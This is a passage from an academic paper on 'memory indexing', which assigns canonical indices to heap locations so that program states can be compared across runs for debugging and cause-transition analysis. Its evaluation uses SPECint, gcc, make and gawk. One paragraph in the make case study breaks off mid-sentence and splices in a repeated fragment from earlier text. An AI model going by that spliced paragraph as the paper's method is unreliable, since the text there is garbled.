The essence of our technique is to create a birthmark of a memory location as its canonical representation. The birthmarks of heap locations are more tricky. Using the program counter (PC) of the allocation point is not sufficient because multiple live heap regions may be allocated at the same PC. The calling context of the allocation point is not sufficient either. For example, the code in Figure 7 (a) creates a linked list in the loop on lines 1 and 2. All allocations occur in the same context (statement 2 inside \( F() \)). Adding an instance count does not help either because different executions may take different paths so that the same count does not imply correspondence. In this paper, we utilize structural indexing.
**Background:** Structural Indexing [19] is a technique that provides a canonical representation for execution points within control flow such that points across runs can be aligned. Readers familiar with structural indexing can skip to the ending □ symbol.
Conceptually, an execution is indexed by a tree representing its nesting execution structure. A leaf node denotes an execution point, and internal nodes represent control structures such as branches, loop bodies, and method invocations.
Consider the program in Figure 7 (a). The index trees for the two runs are shown in Figure 7 (b) and (c). The two control flow traces are displayed horizontally from left to right. Individual trace points are also the leaves. Consider the (b) tree. The root represents the whole execution, which consists of six statement executions presented as the leaf children of the root, namely statements 1, 3, 4, 5, 10, and 11. Since the for statement has substructure, an internal node \( 1^T \), pronounced as “the true branch of statement 1”, is created to represent the loop body. The remainder is constructed similarly. Traces are aligned by the index trees in a top-down fashion. First, the two roots align. Then the six leaf children align, dictated by the aligned parents. **Note that their alignment is independent of the branch outcomes of 1 and 5.** Internal nodes may or may not align, depending on their labels (i.e., the branch outcomes). If they do, recursive alignment is performed. The two trees in Figure 7 (b) and (c) align except for the subtree rooted at \( 5^T \).
*The structural index of an execution point is the path leading from the root to the leaf node representing the point.* For instance, the index of the shaded 7 in the left tree is \([F, 5^T, 7]\). Deciding the presence of an execution point in other runs is equivalent to deciding the presence of its index in the corresponding trees. An important property is that each dynamic point in an execution has a unique index.
Structural indices are computed using control dependence analysis [8]. Figure 8 defines the semantics of structural indexing. Each internal node in an index tree represents an execution region delimited by a function entry and its exit or by a branch point (including loop predicates) and its immediate postdominator. Regions are either disjoint or nesting, analogous to function invocations. Hence, a stack similar to a call stack, named the structural indexing stack (SI), is used to maintain the structural nesting relation. An entry
Rule | Event | Instrumentation
--- | --- | ---
(1) | invoke function $F$ at call cite $c$ | SI.push($F^c$)
(2) | Exit proc. $F$ | SI.pop()
(3) | Predicate $p$ takes branch $B$ | SI.push($p^B$)
(4) | Statement $s$ | while ($s$ is the immediate post-dominator of SI.top()) SI.pop()
*SI is the structural index represented as a stack.
Figure 8: Semantics for Structural Indexing.
is pushed upon function entries (Rule 1) or predicate executions (Rule 3). The top entry is popped upon the exit of a function (Rule 2) or when the immediate postdominator of the predicate on top is encountered (Rule 4). The SI stack always contains the structural index of the current execution point. More details and examples can be found in [19]. □
To index heap memory, we use the structural index of the allocation point as the id of an allocated region to compose the memory index. The uniqueness property of structural indexing ensures the uniqueness of heap indices. The alignment feature of the memory indexing scheme also originates from the fact that structural indexing identifies equivalent allocation points across executions. In particular, heap indices are set when a region is allocated (Rule 7 in Figure 6). A heap index consists of the current SI and the allocation site $pc$. Besides setting the memory indices, the rule also sets the canonical value of the pointer variable, i.e. $PV(p)$, to the memory index of the head of the region. Such a canonical value will be used in pointer manipulation. For example, in the second iteration of the loop in Figure 7 after the allocation in statement 2, $PV(h)$=([F, 1$^T$, 1$^T$, 2], 0).
Memory locations across multiple runs are aligned by their indices. By this criterion, in Figure 7, the head of the list in (b) does not have alignment while the remaining three nodes align with the list in (c).
A key feature of memory indexing is pointer value comparison across runs. Besides a concrete memory address, a pointer variable is also associated with a canonical value. Canonical pointer values are updated on the fly in the online semantics, as specified by Rules 8-10. For brevity, we assume a simple syntax for pointer operations. In particular, if the address of a variable $v$ is retrieved and assigned to a pointer, the canonical value of the pointer is the memory index of $v$’s address (Rule 8). If a pointer variable is copied to another variable, the canonical value gets copied too (Rule 9). For pointer arithmetic expressions $p = q \pm offset$, variable $p$’s canonical value is computed by copying the region identifier of $q$ and adding $r$ to the offset of $q$ (Rule 10). For brevity, our semantics assumes type information has been processed so that offset variables are identified at the unit of bytes.
4.2 Lazy Semantics
For high level languages in which pointer arithmetic is not permitted, or when client applications do not require considering the effects of pointer arithmetic, we can derive PV values on demand and hence allow a more efficient implementation. The semantics is called the lazy semantics. The observation is that canonical values of pointers can be lazily inferred from their concrete values. That is, given a pointer $p$, $PV(p)$=MI($p$). Recall that in the online semantics, PV is computed by interpreting pointer arithmetic (Rule 10) and hence $PV(p)$ is not necessarily equivalent to $MI(p)$.
<table>
<thead>
<tr>
<th>Rule</th>
<th>Event</th>
<th>Instrumentation</th>
</tr>
</thead>
<tbody>
<tr>
<td>(11)</td>
<td>$pc: p = malloc(s)$</td>
<td>$MI(p)$=([SI, $pc$], 0)</td>
</tr>
<tr>
<td>(12)</td>
<td>Query the index of heap address $a$</td>
<td>$t = a$ while ($MI(t)$≡ nil) $t=t-1$ return ($MI(t)$, first, $a-t$)</td>
</tr>
</tbody>
</table>
Figure 9: Lazy Semantics.
The new rules are presented in Figure 9. On the fly computation is only needed upon heap allocation (Rule 11): the current SI is assigned to the region base address, but not to the other cells in the region. When the MI value of a heap address is queried (Rule 12), the algorithm scans backwards from the given address to find the first address with a non-empty index. The memory index of the given address consists of the region denoted by the non-empty index and the offset inside the region. For large heap regions, we set the MI for a number of addresses at set intervals besides the base address such that the linear scan can quickly encounter a non-empty MI. No on-the-fly computation is needed for global and stack memory. The MI values of global and stack addresses can similarly be computed on demand.
**Precision Lost in the Lazy Semantics.** In languages with pointer arithmetic, the lazy semantics does not instrument pointer operations or track the original regions of pointers. The looser coupling with program semantics may lead to undesirable imprecision in certain applications.
Consider the example in Figure 10. It is a simplification of a real bug in bc version 1.06. Assume there is a regression error in the program such that variable $s$ should be 500 whereas it is 100 in the faulty version. For simplicity, we also assume the $A$ and $B$ regions are positioned consecutively in memory. In the failing run, buffer $A$ has size 100, and pointer $p$ points to a location in $B$ due to overflow, despite the fact that it originally pointed to $A$. According to the lazy semantics, at the end of the failing execution, $PV(p) = MI(p) = ([F, 3], 100)$, which is offset 100 in the $B$ region. In the passing run, $PV(p) = ([F, 2], 200)$, which is offset 200 in the $A$ region. Thus, pointer $p$ is considered a difference. In contrast, following the online semantics, both the passing and the failing runs have $PV(p) = ([F, 2], 200)$, so $p$ is not considered a difference. Instead, the online semantics only reports variable $s$ to be a difference, which precisely reflects that the program has a faulty allocation size instead of faulty pointer arithmetic.
In practice, one can choose the right semantics based on the application. For instance, the online semantics is more desirable when out-of-bound accesses are involved, such as when debugging a segmentation fault. It also handles dangling pointers better because a PV value has the same lifetime as the pointer regardless of the status of the deallocated memory, whereas in the lazy semantics a dangling pointer is no longer dangling when the memory is re-allocated.
### 5 Design and Optimizations
<table>
<thead>
<tr>
<th>Rule</th>
<th>Event</th>
<th>Instrumentation</th>
</tr>
</thead>
</table>
| (15) | $pc: p = malloc(s)$ | $l=new Leaf(pc, p, s)$
| | | $Tree_{Insert}(SI, l)$
| | | $MI(p)=(l, 0)$ |
| (16) | free ($p$) | $Tree_{Remove}(MI(p).first)$ |
Figure 11: Tree based Indexing in Lazy Semantics.
The semantics in the previous section are conceptual. They model an index as a sequence of symbols (the region) and an integer (the offset). This is too expensive to operate with in practice. In our design, we explicitly maintain an index tree for heap memory and represent a heap region as a reference to some leaf in the tree. The full index of a heap location can be acquired by traversing bottom-up from the leaf. Rules 15
Figure 12: (a) A call graph with only the highlighted functions instrumented. Label $l$ denotes the call site. (b) Heap index trees before and after OPT-2.
and 16 show the tree based instrumentation for the lazy semantics. Upon heap allocation (Rule 15), a leaf node representing the allocation is created and inserted into the tree by calling $\text{Tree}\_\text{Insert}()$. The function first checks if the current SI is part of the tree. If not, it adds the SI to the tree before it inserts the leaf node. At the end, the instrumentation sets the MI of the region base address to the leaf node. Upon deallocation (Rule 16), $\text{Tree}\_\text{Remove}()$ is called with the leaf node corresponding to the to-be-freed region. Recursive tree elimination is performed, meaning that removing a leaf node may lead to removing its ancestors if they have no children. Shaded subtrees in Figure 7 are example heap index trees. Dotted edges link leaf nodes to memory regions. We have the following optimizations to make our design practical.
**OPT-1: Removing Redundant Instrumentation.** We have two observations that help remove redundant instrumentation. The first one is that we only need a partial structural tree to index heap allocations. Hence we can avoid instrumentation that maintains irrelevant structural indices. Figure 12a shows a sample call graph. Functions $D()$ and $E()$ do not allocate heap memory, and hence if a function does not allocate heap memory, it is not necessary to compute structural indices inside that functions. More formally, a function or a predicate branch is relevant to heap allocation if and only if a heap allocation can directly or transitively occur in its body. Irrelevant functions and predicates are not instrumented with pushes and pops.
The second observation is that we do not need to instrument all relevant functions or predicate branches. More specifically, given a relevant function other than main (predicate) $n$, if all index paths from any of $n$’s parents to a heap allocation inside $n$’s body have to go through $n$, we don’t need to instrument $n$. We call $n$ a dominant function (predicate). Intuitively, we don’t need to instrument if we can infer the presence of $n$ on an index path given the allocation site and the parent node. In Figure 12a, function $C()$ does not need to be instrumented although it is relevant, because there is only one index path from its parent $A()$ or $B()$ to the $\text{malloc}()$ function. In contrast, $A()$ and $B()$ need to be instrumented. With the optimized instrumentation, the possible heap indices are $[\text{main}, A/B, l]$. We have developed static analyses to identify relevant but not dominant functions and predicates. They are analyses on call graphs and control dependence graphs. Details are elided. Note that such optimizations are not applicable to general structural indexing because they leverage heap allocation information.
**OPT-2: Handling Loop Nodes.** From the semantics, loops require pushing multiple entries of the same predicate, which can be optimized as follows. As in [19, 15], we add a counter field to the stack entry; then upon encountering a loop predicate, it is first checked if the top entry is the same predicate. If so, the counter is incremented instead of pushing. When the current stack is materialized to the tree due to heap allocation, a new node is inserted to the tree if there is not an existing node with the same counter value. Consider Figure 12b. On the left, a sample index tree is shown with multiple instances of the loop predicate $p$. With the optimized instrumentation, only two nodes are generated to denote the first and the third instances of the loop predicate, in which allocations occur. The optimization does not affect the uniqueness and alignment properties of indexing.
The space consumption is dominated by the tree, whose size depends on its shape and the number of live heap regions. A pessimistic bound is $O(\text{maximum tree depth} \times \text{maximum live heap regions})$. In theory, the tree depth is unbounded because it is tied with loop counts and the depth of recursion. In practice, because we are only interested in the partial tree for allocations and we optimize loop predicates using counters, tree depth is often well bounded such that the space overhead is feasible (see Section 7).
Robust Memory Comparison and Replacement
Cause transition computation [5, 20] produces a causal explanation for a software failure. The technique takes two executions: one failing and the other passing that closely resembles the failing. The passing run can be generated by selecting an input similar to the failing input. The overall idea is to compare memory snapshots of the two runs at selected execution points. A reference graph \( H \) is constructed to represent a snapshot. Memory comparison is reduced to graph comparison driven by symbolic reference paths. Causality testing is conducted to isolate a minimal subset of graph differences relevant to the failure. More specifically, subsets of graph differences are enumerated through the delta debugging algorithm. A subset is considered relevant if replacing the program state specified by the subset in the passing run with the corresponding values in the failing run produces the failure. The minimal subsets computed at the selected execution points are chained together to form an explanation. In [18], the technique is improved by automatically aligning two execution traces using structural indexing before comparison. However, in both [5] and [18], memory comparison and replacement is driven by symbolic paths, and hence has the issues mentioned in Section 2.
Consider the example in Figure 7. Using symbolic alignment and comparing only non-pointer values, if only heap memory is considered, the set of differences (failing - passing) \( \Delta=\{p \rightarrow \text{val}, r \rightarrow \text{val}, r \rightarrow \text{next} \rightarrow \text{val}, h \rightarrow \text{next} \rightarrow \text{val}, h \rightarrow \text{next} \rightarrow \text{next} \rightarrow \text{val}\} \). None of the subsets, including the \( \Delta \) set itself, can induce the same failure. For instance, applying subset \( \{p \rightarrow \text{val}, r \rightarrow \text{val}\} \) does not work due to the lost mutation problem. As a result, the delta debugging algorithm terminates without finding the minimal failure inducing subset. Since aliasing is very common in general programs, we need to perform robust memory comparison and replacement.
With MI, we are able to develop two robust primitives: comparison of memory snapshots \( \text{Mem\_Comp()} \) and application of a memory difference \( \text{Diff\_Apply()} \), i.e., copy a value from one memory snapshot to the other (across runs).
For the comparison primitive, snapshots are first aligned by their indices and then comparison is conducted on aligned locations. Memory locations with non-pointer types are compared by their concrete values. Locations with pointer types are compared by their canonical values. Differences are presented as a set of indices, denoting that the corresponding locations are different.
Consider the two snapshots in Figure 7. Global variables \( C, h, p, \) and \( r \) are aligned. Since \( C \) is of boolean type, its values are compared and classified as differences. In contrast, canonical value comparison is conducted for pointer variables \( h, p \) and \( r \). It is easy to see that they are different. Heap memory is compared by the index trees. The region pointed to by \( h \) in (b) is identified as the only tree difference. Hence, if we compute the difference set (passing - failing), the result is \( \{\text{(nil, offset(C))}, \text{(nil, offset(h))}, \text{(nil, offset(p))}, \text{(nil, offset(r))}, \{(5, 7), *\}\} \). The symbol \(*\) in the last index signifies that the entire region is different. It is much smaller than the symbolic results.
The second primitive is the application of a unit difference\(^1\) represented as an index, from which the corresponding concrete memory location in both snapshots can be identified. The value is copied from the source snapshot to the target snapshot. If the value is a pointer, we cannot simply copy the concrete address. Instead, we identify the proper concrete address in the target snapshot following the canonical value of the pointer. If the region is not present in the target snapshot, it is first allocated.
Function \( \text{Diff\_Apply()} \) in Algorithm 1 describes how to apply a heap unit difference. In the algorithm, the source and target heaps are indexed by trees rooted at \( T' \) and \( T \), respectively. Variable \( \delta \) represents the unit difference. Lines 3 and 4 identify the heap region denoted by \( \delta \) in \( T' \) and \( T \). In lines 5 and 6, the concrete addresses are computed. At line 7, the algorithm tests if the computed address is a pointer (the superscript specifies where the dereference occurs). If not, the algorithm copies the value (line 8). If so, it tests if the region pointed-to is present in \( T' \) (line 11). If not, it copies the region (line 12). Finally at line 14, the concrete address stored to the pointer is set to a location in the region in \( T \) aligned with the source region (in \( T' \)).
Function \( \text{Region\_Copy()} \) copies a region denoted by the parameter \( \text{path}' \) from \( T' \) to \( T \). It first locates the region in \( T' \) (line 2) and allocates a region of the same size in \( T \) (line 3). The \( \text{path}' \) is inserted to \( T \) and a leaf node is created to represent the allocated region (lines 4-5). This avoids allocating the same region again. Finally, individual fields are copied from \( T' \) to \( T \) by calling \( \text{Diff\_Apply()} \) (lines 6-7). Note, it may transitively copy more regions from \( T' \) to \( T \).
---
\(^1\)A unit difference is a difference regarding a specific memory location instead of a region.
The proposed MI based memory differencing and replacement primitive is composable.
**Definition 1** A scheme for memory differencing and replacement is composable iff given a set of unit differences \( \Delta = \{ \delta_1, \delta_2, \ldots, \delta_n \} \) and the universal set \( U \) of all differences, after applying the differences in \( \Delta \) from \( T' \) to \( T \), the differences between \( T' \) and the mutated \( T \) is \( U - \Delta \).
Composability is very important for cause transition computation, it ensures that the delta debugging algorithm is able to make progress, because it mandates that the effect of applying a set of differences must subsume the effect of applying a subset of the differences \[20\]. If a replacement scheme is not composable, applying the universal set of differences may even fail to convert \( T \) to \( T' \). The symbolic path based scheme is not necessarily composable. As shown in Figure 7, applying the two differences of \( p \rightarrow val \) and \( r \rightarrow val \) from the failing run to the passing run results in a state in which \( p \rightarrow val \) still manifests itself as a difference.
**Property 1** The proposed MI based memory differencing and replacement primitive is composable.
The proof is elided due to space limits. However from Algorithm \[1\] we observe that for non-pointers, the primitive faithfully copies values; hence the property is trivially true. For pointers, the primitive either
---
**Algorithm 1** Apply a heap difference.
*Description:* Copy the value in location \( \delta \) from \( T' \) to \( T \). Leaf node is of the type \((pc, base, size)\).
```plaintext
1: Diff_Apply \((T, T', \delta)\):
2: let \( \delta \) be \((path, offset)\)
3: let \((-base', -)\) be the leaf node in \( T' \) along \( path \)
4: let \((-base, -)\) be the leaf node in \( T \) along \( path \)
5: \( a \leftarrow base + offset \)
6: \( a' \leftarrow base' + offset \)
7: if \( *(a')^{T'} \) is NOT a pointer then:
8: \( *(a)^T \leftarrow *(a')^{T'} \)
9: else
10: let \( PV(a')^{T'} \) \(= (p', f') \)
11: if \( T \) does not have path \( p' \) then:
12: Region_Copy \((T, T', p')\)
13: let \((-b, -)\) be the leaf node in \( T \) following \( p' \)
14: \( *(a)^T \leftarrow b + f' \)
```
**Description:** copy region \( path' \) in \( T' \) to \( T \).
```plaintext
1: Region_Copy \((T, T', path')\):
2: let \((-base', size')\) be the leaf in \( T' \) along \( path' \)
3: \( r \leftarrow allocate(size') \) in the run denoted by \( T \)
4: insert \( path' \) to \( T \)
5: set the leaf node following \( path' \) in \( T \) to \((-r, size')\)
6: for \( (i=0 \) to \( size' - 1)\) do:
7: Diff_Apply\((T, T', (path', i))\)
```
Applying stack and global differences is similarly defined.
**Example.** Consider the example in Figure 7. Assume we want to apply the differences of \( p \) and \( r \) to the passing run. Observe that \( p \) points to the third node in the failing run and \( PV(p)_{fail} = ([F, 1^T, 1^T, 1^T, 2], 0) \). During the \( p \) difference application, following the path, the concrete address of the fourth node in the passing run is identified and assigned to \( p \). Similarly, after applying the \( r \) difference, \( r \) holds the concrete address of the second node in the passing run. Note that, by applying these two differences, the same failure can be produced. Applying other differences, such as \( C \), at this point (before statement 11) has no impact on the failure. The minimal failure inducing difference subset including \( p \) and \( r \) is emitted as one cause transition. The same memory comparison and difference minimization is further performed at aligned instructions 10 and 5; it stops at 4 as no state difference is identified. The chain of cause transitions is: \( C \) has the incorrect value false at 5, then \( p \) and \( r \) point to the wrong places at 10 and 11, and finally the failure. These transitions compose a failure explanation.
Next, we define the composability property and show that it holds for the proposed primitive.
Table 1: Instrumentation and allocation.
<table>
<thead>
<tr>
<th>program</th>
<th>instmt.</th>
<th># of alloc</th>
<th>avg. alloc</th>
<th>tree dep.</th>
</tr>
</thead>
<tbody>
<tr>
<td>164.gzip</td>
<td>11 (12%)</td>
<td>5 / 436k</td>
<td>28 KB</td>
<td>130</td>
</tr>
<tr>
<td>175.vpr</td>
<td>100 (37%)</td>
<td>3 / 107k</td>
<td>481 B</td>
<td>59</td>
</tr>
<tr>
<td>176.gcc</td>
<td>1282 (57%)</td>
<td>236 / 10.2m</td>
<td>5 KB</td>
<td>700</td>
</tr>
<tr>
<td>181.mcf</td>
<td>5 (19%)</td>
<td>4 / 3</td>
<td>33 MB</td>
<td>8</td>
</tr>
<tr>
<td>186.crafty</td>
<td>8 (7.3%)</td>
<td>12 / 37</td>
<td>23 KB</td>
<td>6</td>
</tr>
<tr>
<td>197.parser</td>
<td>2 (0.6%)</td>
<td>1 / 1</td>
<td>31 MB</td>
<td>292</td>
</tr>
<tr>
<td>254.gap</td>
<td>596 (70%)</td>
<td>2 / 2</td>
<td>100 MB</td>
<td>10</td>
</tr>
<tr>
<td>255.vortex</td>
<td>672 (73%)</td>
<td>9 / 258k</td>
<td>399 B</td>
<td>365</td>
</tr>
<tr>
<td>256.bzip2</td>
<td>8 (11%)</td>
<td>10 / 36</td>
<td>16 MB</td>
<td>51</td>
</tr>
<tr>
<td>300.twolf</td>
<td>59 (31%)</td>
<td>3 / 574k</td>
<td>31 B</td>
<td>28</td>
</tr>
</tbody>
</table>
allocates a region when it is not present in the index tree or simply assigns the address if the region is present. Such behavior does not lead to additional differences that were not present in the original difference set or mask any other existing differences.
7 Evaluation
The implementation consists of both semantics and two client studies. It is based on the CIL infrastructure and has 3500 lines OCaml, 3500 lines C and 3000 lines Python.
7.1 Efficiency
The first experiment focuses on cost. The evaluation is on SPECint 2000 benchmarks. We excluded 252.eon and 253.perlbmk because they were not compatible with CIL. All experiments were executed on an Intel Core 2 2.1GHz machine with 2 GB RAM and running Ubuntu 9.04.
Table [I] shows the instrumentation needed and characteristics of allocations. All executions are acquired on reference inputs. The second column shows the number of instrumented functions (after optimizations) and their percentage over all functions. The third column shows the same data for predicates. The fourth column shows the numbers of static allocation sites and dynamic allocations. The fifth column shows the average size of each allocation. The last column shows the maximum depth of the memory index tree. We observe that some programs make a lot of allocations with various sizes (gcc and twolf) and some make very few but large allocations (mcf and bzip2). They have different impacts on the performance. Programs parser and gap allocate a memory pool at the beginning and then rely on their own memory management systems. Our current system does not trace into memory pool management. We leave it for future work. Observe, the maximum tree depth is not high with respect to the structural complexity of programs. Recall that we collapse consecutive instances of a loop predicate, so the depths are largely decoupled from loop counts.
The overhead can be seen in Figure [I] in which Full represents implementation without removing redundant instrumentation; Part removing redundant instrumentation; Flow the online semantics; and Lazy the lazy semantics. The figure presents the performance overhead for a number of combinations. In practice, Part+Lazy is desirable for most applications, as illustrated by later client studies. Space represents the space overhead for Part+Lazy. All data is normalized against original runs without instrumentation.
We observe first that Full+Lazy has substantially more runtime overhead than Part+Lazy. Part+Flow is slightly more expensive than Part+Lazy due to instrumentation on pointer operations. The overhead of Part+Lazy is low (41%). Next, observe that in half the benchmarks, there is little space overhead. This is because the number of allocations and the tree depth are relatively low regarding the size of each allocation. In contrast, 300.twolf had the most overhead. It performs a large number of very small allocations, j32
bytes on average, so on average maintaining the index for each allocation is more costly\(^2\). Nonetheless, the average space overhead is 213% (111% without \texttt{twolf}). The conclusion is that the cost of MI is feasible for many applications.
### 7.2 Trace Canonicalization
Trace canonicalization is the alignment of control flow and memory accesses across traces from two executions. It plays a part in debugging and regression analyses \cite{17,10,7}, among others. With MI, an important question can be answered, \textit{given two address entries in two respective traces, should they be considered differences?} Note, two accesses at the corresponding points in the two traces do not mean that they operate on the same data; the accessed addresses being different does not mean they do not semantically correspond.
The study is on three common, open source programs, \texttt{make}, \texttt{gawk}, and \texttt{dot}. We reported the number of address differences before and after MI canonicalization. We turned off all memory layout randomization. To avoid comparing trace entries that do not correspond, we used structural indexing to establish which memory accesses occurred at the same point in both traces and only compare those accesses.
The traces were generated from the programs’ provided test suites or, in the case of \texttt{dot}, the provided examples in the documentation. Each full trace was compared with traces generated by a fixed percentage of the input, i.e., removing part of the inputs. The results are shown in Fig. 14. For each percentage of input similarity, we present the percentage of matched stack and heap memory accesses before and after canonicalization. For MI, these are ‘\texttt{MI locals}’ and ‘\texttt{MI allocs}’ respectively, while for the addresses without canonicalization, they are ‘\texttt{Addr allocs}’ and ‘\texttt{Addr locals}’. We furthermore present the percentage of control flow correspondence (‘Control Flow’).
Observe first that MI provides a substantially higher level of heap access correspondence (50% more for \texttt{make} and 50-60% more for \texttt{gawk}, and 15-30% more for \texttt{dot}). Less benefit was observed in \texttt{dot} because \texttt{dot}’s dynamic allocations are largely on fixed buffers that do not change according to inputs. MI was able to find
\(^2\)In our implementation, we use 22 bytes for each tree node.
more corresponding addresses for local variables too. Observe that stack local allocation and variable sized objects on the stack make it more difficult to find correspondences without MI (e.g. the `make` case).
The control flow similarity increases as the input similarity increases. Note that the address correspondence without canonicalization stays roughly the same or even decreases as the control flow similarity increases (like in `dot`). The decrease happened because greater control flow similarity allows more (different) addresses to be compared. In contrast, the correspondence found by MI is roughly consistent.
### 7.3 Cause Transition Computation
This experiment evaluates the impact of MI on computing cause transitions. The algorithm in [18] was implemented as a platform on which we tested two versions of the memory comparison and replacement primitive: one is symbolic path based, used in [5, 18]; the other is the new MI-based. The study is on several real bugs in open source programs, including `gcc`, `make`, and `gawk`, that have non-trivial heap behavior and aliasing. The failing runs are generated according to the bug reports. The passing runs are acquired from the correct inputs in the reports if provided; previous non-regressing versions; or using an automated patching technique [21]. Note that acquiring passing runs is an orthogonal problem out of our scope. Other patching techniques such as [12] can also be used.
Results are summarized in Table 2. The **Program** column contains the buggy programs. **Bug ID** presents the bug id, through which one can identify the report online, or the publication date on the mailing list. **Bug** describes each bug. **Passing Run** shows the sources of the passing runs: inputs provided in reports (correct input), non-regressing versions (non-regressing), and dynamic patching (predicate switch). The maximum number of differences (present in failing and absent in passing) found using symbolic differencing is presented in Sym Diffs, and the maximum when using MI is in MI Diffs. In Sym Diffs, we report one memory cell only once although it may be a difference along multiple paths. Of further interest is the number of differences with aliases (in column Aliases), or multiple symbolic paths. They can cause issues as discussed in Section 2. Column **Issue** presents the exhibited problems when using the symbolic path based primitive. We also present the number of transitions and the average number of differences included in each transition in **Trans/Diffs**, along with time required (in seconds) in **Time** when using the MI version.
<table>
<thead>
<tr>
<th>Program</th>
<th>Bug ID</th>
<th>Bug</th>
<th>Passing</th>
<th>Sym. Diffs</th>
<th>MI Diffs</th>
<th>Aliases</th>
<th>Issue</th>
<th>Trans/Diffs</th>
<th>Time (s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>gcc 2.95.2</td>
<td>529</td>
<td>Wshadow warns on functions</td>
<td>predicate switch</td>
<td>8365</td>
<td>233</td>
<td>8105</td>
<td>>12h</td>
<td>8/1</td>
<td>4559</td>
</tr>
<tr>
<td>gcc 2.95.2</td>
<td>776</td>
<td>Large array size causes abort</td>
<td>predicate switch</td>
<td>10101</td>
<td>230</td>
<td>9872</td>
<td>>12h</td>
<td>2/1</td>
<td>379</td>
</tr>
<tr>
<td>gcc 2.95.2</td>
<td>2771</td>
<td>-O1 breaks strength-reduce</td>
<td>provided input</td>
<td>11095</td>
<td>284</td>
<td>10254</td>
<td>>12h</td>
<td>4/1</td>
<td>1791</td>
</tr>
<tr>
<td>make 3.81</td>
<td>192568</td>
<td>PHONY targets are unrecognized</td>
<td>non-regressing</td>
<td>2699</td>
<td>184</td>
<td>33</td>
<td>>12h</td>
<td>9/1</td>
<td>740</td>
</tr>
<tr>
<td>make 3.81</td>
<td>18435</td>
<td>Parentheses break make targets</td>
<td>provided input</td>
<td>3301</td>
<td>316</td>
<td>356</td>
<td>>12h</td>
<td>29/2</td>
<td>645</td>
</tr>
<tr>
<td>make 3.81</td>
<td>9113</td>
<td>/ dot prevents self remake</td>
<td>provided input</td>
<td>3728</td>
<td>580</td>
<td>187</td>
<td>>12h</td>
<td>5/2</td>
<td>235</td>
</tr>
<tr>
<td>make 3.80</td>
<td>112</td>
<td>Rules cannot handle colons</td>
<td>provided input</td>
<td>3309</td>
<td>645</td>
<td>217</td>
<td>>12h</td>
<td>11/6</td>
<td>685</td>
</tr>
<tr>
<td>gawk 3.1.5</td>
<td>1/20/06</td>
<td>Deallocate bad pointer</td>
<td>provided input</td>
<td>630</td>
<td>22</td>
<td>509</td>
<td>early term</td>
<td>8/1</td>
<td>56</td>
</tr>
</tbody>
</table>
Observe that in every case, the number of symbolic differences is substantially, 2-50 times, larger than the number of differences when using MI, because the proper memory correspondence cannot be found. Furthermore, the **Aliases** column shows that substantial aliasing is common, creating a lot of difficulties for the symbolic method. As seen in the **Issue** column, in most cases, symbolic path based computation would not terminate within 12 hours. The main reason is that lost mutation and destructive mutation caused (see Section 2) by aliasing prevent the relevant difference subset from being computed, so the algorithm ends up searching subsets of the already significant difference sets. For example, in the first gcc case, it may be possible that all the enumerated subsets of the 8365 differences need to be tested. In gawk, the algorithm simply terminated early, unable to produce relevant transitions for the failure.
**A Case Study on Detailed Comparison.** We performed a separate test focusing on `make` bug 18435 from Table 2. We selected 10 sample points at 10% intervals along the part of the passing run that is beyond the first divergence of the two runs. At each sample point, we compared the memory snapshots across the two runs and then mutated the memory in the passing to that in the failing by applying the universal set of correct inputs in the reports if provided; previous non-regressing versions; or using an automated patching technique [21]. Note that acquiring passing runs is an orthogonal problem out of our scope. Other patching techniques such as [12] can also be used.
is conducted using control flow canonicalization and MI based memory canonicalization. According to the discussion in Section 6, the traces should be identical if the primitives are composable.
Figure 15: Heap accesses and control flow trace similarity after state mutation in the execution of make.
The results are shown in Figure 15. ‘Heap (MI)’ and ‘Control Flow (MI)’ represent the similarities of heap access and control flow traces using the MI based primitive, and ‘Heap (Sym)’ and ‘Control Flow (Sym)’ represent those using the symbolic primitive. Observe, the access similarity when using MI is consistently near 100%, and the control flow similarity is consistently above 90% until the end. This means the mutation is mostly successful in turning the passing run to the failing run. The similarity is not 100% because we currently do not model external state such as file IDs, process IDs, etc. Thus, such states are not eligible for meaningful comparison and replacement. In contrast, when the symbolic primitive is used, the execution quickly diverges from the expected control flow, having near 0% similarity, and it has near 0% similarity for accessing the heap. In fact, the mutated run often quickly crashes due to destructive mutation (Section 2). This supports that the MI primitive is composable, but the symbolic primitive is not.
A Sample Chain of Cause Transitions. For the bugs considered, using the MI primitive not only captures the root causes as described in the reports but also the precise cause transitions. Let’s use one case to illustrate the results. Make is a tool for executing a set of rules that specify actions for different ‘target’s or commands along with dependencies on other targets whose actions must be performed first. With bug 18435 from Table 2, target dependencies will not always be resolved, and thus the target will be considered invalid.
A simplification of the code involved is presented in Fig. 16 on the left and the reported relevant states at transitions are on the right. The high level problem is that targets with parentheses in their names are incorrectly considered archives, thus the rules for them cannot be correctly executed. We used one such input from the bug report where the target had parentheses and another input without parentheses, also from the report.
In lines 7-14, the pattern_search function discovers the rules and dependencies for a target by scanning through all rules and determining if they apply. For each file in the dependency list, make checks to see if the file exists. In this process, observe that on lines 1-3, arname returns True if a file name has matching parentheses and false otherwise. Thus the dependency is considered an archive. This is returned to line 4 in file_exists_p, which overrides normal behavior and returns False even if a file of the given name exists. As a result, line 10 of pattern_search is incorrectly false, and the required dependency of the rule is never added to the list of target dependencies. Further, on lines 13-14, the commands for the rule are not added to the target, effectively making the rule unresolved. This error then propagates to line 15 in update_file_1, which takes the false branch in the incorrect execution, not setting must_make. Thus, line 17 branches false, leading to the failure. That is, desired output is not observed as line 18 is not executed.
The computed transitions are presented on the right with the reported memory differences. Note that the precise root cause is captured, where arname incorrectly returns True. The remainder of the transitions precisely explain the propagation. Note that some of the steps are simplified for the sake of presentation, as opposed to the 29 steps in Table 2. The average minimal set at each transition has size 2, indicating this is a very thin line of propagation. The symbolic approach failed to make progress in 12 hours.
In summary, MI allows the strength of cause transition computation to be fully realized, reflected by our success of scaling to programs like gcc with full automation. Note, although a gcc case was presented in [20]. It was conducted with human intervention. The later automated system [5] works well for small
programs without much aliasing.
8 Related Work
Trace normalization [6] divides traces into segments. Segments with the same starting and ending state are considered equivalent. Client applications using such traces only need to look at a consistent representative segment from each equivalence class. The outcome is reduced workload and increased precision. Memory indexing is complementary in that it provides a robust way of comparing program state across executions and hence helps identify equivalent trace segments.
